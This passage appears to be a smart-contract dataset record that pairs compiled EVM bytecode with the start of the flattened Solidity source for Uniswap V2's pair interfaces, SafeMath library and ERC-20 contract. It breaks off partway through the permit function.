190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
